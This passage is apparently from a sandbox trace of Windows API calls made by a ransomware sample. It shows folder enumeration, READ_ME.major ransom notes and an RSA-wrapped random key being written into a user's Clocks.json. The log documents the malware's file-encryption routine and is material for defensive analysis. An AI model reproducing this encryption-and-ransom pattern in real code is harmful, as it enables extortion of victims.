cAlternateFileName="")) returned 0x2f33ce0 [0228.321] FindNextFileW (in: hFindFile=0x2f33ce0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe9a3b7f, ftCreationTime.dwHighDateTime=0x1d32746, ftLastAccessTime.dwLowDateTime=0xbe9a3b7f, ftLastAccessTime.dwHighDateTime=0x1d32746, ftLastWriteTime.dwLowDateTime=0x379cfa8f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0228.321] FindNextFileW (in: hFindFile=0x2f33ce0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe9c9cef, ftCreationTime.dwHighDateTime=0x1d32746, ftLastAccessTime.dwLowDateTime=0xbe9c9cef, ftLastAccessTime.dwHighDateTime=0x1d32746, ftLastWriteTime.dwLowDateTime=0xbe9c9cef, ftLastWriteTime.dwHighDateTime=0x1d32746, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Clocks.json", cAlternateFileName="CLOCKS~1.JSO")) returned 1 [0228.321] FindNextFileW (in: hFindFile=0x2f33ce0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x379cfa8f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x379cfa8f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x379cfa8f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0228.321] FindNextFileW (in: hFindFile=0x2f33ce0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x379cfa8f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x379cfa8f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x379cfa8f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0228.321] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0228.321] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsAlarms_8wekyb3d8bbwe\\LocalState\\Clocks\\Clocks.json", dwFileAttributes=0x80) returned 1 [0228.322] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsAlarms_8wekyb3d8bbwe\\LocalState\\Clocks\\Clocks.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsalarms_8wekyb3d8bbwe\\localstate\\clocks\\clocks.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1914 [0228.323] GetFileSizeEx (in: hFile=0x1914, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0228.323] ReadFile (in: hFile=0x1914, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0228.323] SetFilePointer (in: hFile=0x1914, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0228.323] WriteFile (in: hFile=0x1914, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0228.323] SetFilePointer (in: hFile=0x1914, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0228.323] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0228.323] WriteFile (in: hFile=0x1914, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0228.324] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0228.324] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0228.324] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0228.325] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="FPtAsGL/BHF5KDqarrf36EVWeJaG0LSWtRQgNd9K5IX7HVIagAQ+cCafo2qsPoeK\njhZbQXUdia1HUaOGWRWY6fTYizO5V/J1MN4VVjQnphJsczLDpbTDEx5dkEwYF65H\nJGn8ONA3yjDqDGzMhkyrfP/oRAMZ9IyyI14XD2vmeIyMu/ouaNB3yzXq0Ui0/6OT\nAAaVrNceFAjQqRSt4oAUckgOFv+cVUrDGdgjs1aeIz9kXvRT6fRAe+NAToa0RsBJ\ngCDhKgIqmIExn7eadM6+38jmeXScRuOuOknh6M87VK/DxoRUAR1E5QwMeCixdYT8\nboa1Wu+QUsBpvebDSRj+sw==\n", pcchString=0x2e3f9a8) returned 1 [0228.325] WriteFile (in: hFile=0x1914, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0228.325] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0228.325] WriteFile (in: hFile=0x1914, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0228.325] CloseHandle (hObject=0x1914) returned 1 [0228.327] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsCalculator_8wekyb3d8bbwe\\AC\\INetCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1c655d83, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd16e7f89, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37b270e6, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f33860 [0228.328] FindNextFileW (in: hFindFile=0x2f33860, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1c655d83, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd16e7f89, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37b270e6, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0228.328] FindNextFileW (in: hFindFile=0x2f33860, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x37b270e6, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x37b270e6, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x37b270e6, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0228.328] FindNextFileW (in: hFindFile=0x2f33860, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x37b270e6, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x37b270e6, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x37b270e6, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0228.328] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsCalculator_8wekyb3d8bbwe\\AC\\INetCookies\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1c655d83, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd16e892a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37b270e6, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f33e60 [0228.328] FindNextFileW (in: hFindFile=0x2f33e60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1c655d83, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd16e892a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37b270e6, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0228.328] FindNextFileW (in: hFindFile=0x2f33e60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x37b270e6, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x37b270e6, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x37b270e6, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0228.328] FindNextFileW (in: hFindFile=0x2f33e60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x37b270e6, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x37b270e6, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x37b270e6, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0228.328] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsCalculator_8wekyb3d8bbwe\\AC\\INetHistory\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1c655d83, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd16e8f8e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37b270e6, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f33ae0 [0228.329] FindNextFileW (in: hFindFile=0x2f33ae0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1c655d83, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd16e8f8e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37b270e6, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0228.329] FindNextFileW (in: hFindFile=0x2f33ae0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x37b270e6, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x37b270e6, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x37b270e6, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0228.329] FindNextFileW (in: hFindFile=0x2f33ae0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x37b270e6, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x37b270e6, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x37b270e6, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0228.329] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsCamera_8wekyb3d8bbwe\\AC\\INetCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x19ce8eec, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd179cdce, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37ca4743, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f338e0 [0228.329] FindNextFileW (in: hFindFile=0x2f338e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x19ce8eec, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd179cdce, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37ca4743, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0228.330] FindNextFileW (in: hFindFile=0x2f338e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x37ca4743, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x37ca4743, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x37ca4743, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0228.330] FindNextFileW (in: hFindFile=0x2f338e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x37ca4743, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x37ca4743, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x37ca4743, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0228.330] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsCamera_8wekyb3d8bbwe\\AC\\INetCookies\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x19ce8eec, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd179d576, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37cca98e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f33960 [0228.330] FindNextFileW (in: hFindFile=0x2f33960, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x19ce8eec, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd179d576, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37cca98e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0228.330] FindNextFileW (in: hFindFile=0x2f33960, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x37cca98e, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x37cca98e, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x37cca98e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0228.330] FindNextFileW (in: hFindFile=0x2f33960, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x37cca98e, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x37cca98e, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x37cca98e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0228.330] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsCamera_8wekyb3d8bbwe\\AC\\INetHistory\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x19ce8eec, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd179dc05, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37cca98e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f33b20 [0228.330] FindNextFileW (in: hFindFile=0x2f33b20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x19ce8eec, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd179dc05, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37cca98e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0228.330] FindNextFileW (in: hFindFile=0x2f33b20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x37cca98e, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x37cca98e, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x37cca98e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0228.331] FindNextFileW (in: hFindFile=0x2f33b20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x37cca98e, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x37cca98e, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x37cca98e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0228.331] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\AC\\BackgroundTransferApi\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5106299e, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd1870a2f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37fc5887, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f33d20 [0228.331] FindNextFileW (in: hFindFile=0x2f33d20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5106299e, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd1870a2f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37fc5887, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0228.331] FindNextFileW (in: hFindFile=0x2f33d20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x37fc5887, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x37fc5887, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x37fc5887, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0228.331] FindNextFileW (in: hFindFile=0x2f33d20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x37fc5887, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x37fc5887, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x37fc5887, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0228.331] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\AC\\INetCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xe3e7bf5e, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd187150f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37fc5887, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f33b60 [0228.331] FindNextFileW (in: hFindFile=0x2f33b60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xe3e7bf5e, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd187150f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37fc5887, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0228.331] FindNextFileW (in: hFindFile=0x2f33b60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x37fc5887, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x37fc5887, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x37fc5887, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0228.331] FindNextFileW (in: hFindFile=0x2f33b60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x37fc5887, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x37fc5887, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x37fc5887, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0228.332] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\AC\\INetCookies\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xe3e7bf5e, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd1871c50, 